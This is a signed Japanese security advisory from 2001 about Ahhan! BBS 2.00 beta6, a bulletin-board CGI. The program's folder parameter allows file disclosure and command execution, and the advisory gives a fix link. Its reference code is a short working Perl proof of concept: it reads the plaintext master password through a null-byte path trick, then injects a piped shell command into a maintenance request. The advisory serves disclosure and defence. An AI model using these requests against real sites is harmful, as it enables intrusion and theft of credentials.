-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ====================================================================== CGI PROGRAM SECURITY ADVISORY [Ahhan BBS 2.00 beta6] 2001/03/06 ====================================================================== http://www.ansi.co.jp/cgi/security/advisories/ahhan-bbs_2001_03_06.txt ====================================================================== ■ 影響を受けるCGIプログラム * アッhan! BBS 2.00 beta6 (これ以前の全てのバージョンが影響を受ける可能性があります。) ■ 概要 アッhan! BBS 2.00 beta6 は bunbun によって作成された掲示板 CGI プログ ラムです。このプログラムには外部から任意のファイル内容を読み取り可能、 外部からパスワードファイルが入手可能、そのパスワードを利用して CGI プ ログラムの動作権限で任意のコマンドが実行可能となるセキュリティ上の問題 点があります。 アッhan! BBS: http://www1.kcn.ne.jp/~mig-poco/ ■ 解説 アッhan! BBS 2.00 beta6 では与えられたフォルダ名に対する汚染チェックを 怠っています。このため、これを利用して CGI プログラムの動作権限でパス ワードを平文で記述したファイルを含む任意のファイルを読み取ることが可能 です。 また、メンテナンス用 CGI プログラムでも同様に汚染チェックを怠っている ため、これを利用して外部から CGI プログラムの動作権限で任意のコマンド が実行可能です。 ■ 影響 パスワードを平文のまま読み取られるため、掲示板のデータを破壊される可能 性があります。また、CGIプログラムが各ユーザ権限で実行されるシステム (Apache + SuEXEC など)の場合、そのユーザの権限で任意の操作をすることが 可能です。これによってユーザ環境が破壊される可能性があります。そうでは ない場合でも、CGI プログラムの実行 UID で任意の操作が可能です。 ■ 回避方法 以下に書かれている内容に従い、スクリプトを修正する。 アッhan! BBS に存在するセキュリティホール: http://www1.kcn.ne.jp/~mig-poco/cgi/security_hole/ ■ 参考コード #! /usr/bin/perl -w use LWP::Simple; # get passwd $pref = get "http://host/ahh20bb2/mibbs.cgi?mode=point&fol=pref.cgi%00&tn=0001"; ($passwd) = ($pref =~ /\$master_pass\s*=\s*['"](.*?)["']/); print "master passwd = $passwd\n"; # executes "ls -lR > /tmp/ls-lR" get "http://host/ahh20bb2/mainte.cgi?pwd=$passwd&mode=fo_del&fol=|ls+-lR+>+/tmp/ls-lR"; __END__ ■ 履歴 2001/02/21: 通知 2001/03/06: 公開 2001/03/20: 参考コードを追加 ====================================================================== (C) 2001 ASUKA NETWORK SERVICE, INC. http://www.ansi.co.jp/ HIRATA YASUYUKI http://yasu.asuka.net/ All rights reserved. * この文書に書かれている内容は無保証です。 * この文書に書かれている内容を利用して攻撃を行った場合、刑事上・民事上 の責任を問われることがあります。 * このファイルは内容の変更 (電子署名の除去を含む) が行われない限り自由 に再配布可能です。 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7rqd3duP2KhBu8ikRAm1+AKCWhMZtIpHMIfwdrj0hD2aCZ7EZZgCgkDCY VUuuCE17vZnSuGvqs78F/YeIPwMFATuup3fCitaZXxzdBBECbX4AniKgFejosjBF N2mUR+I1sY3W+zxWAJ9miQI+tu6oKTgAZ98iPWOwjZmKrw== =Tz2b -----END PGP SIGNATURE-----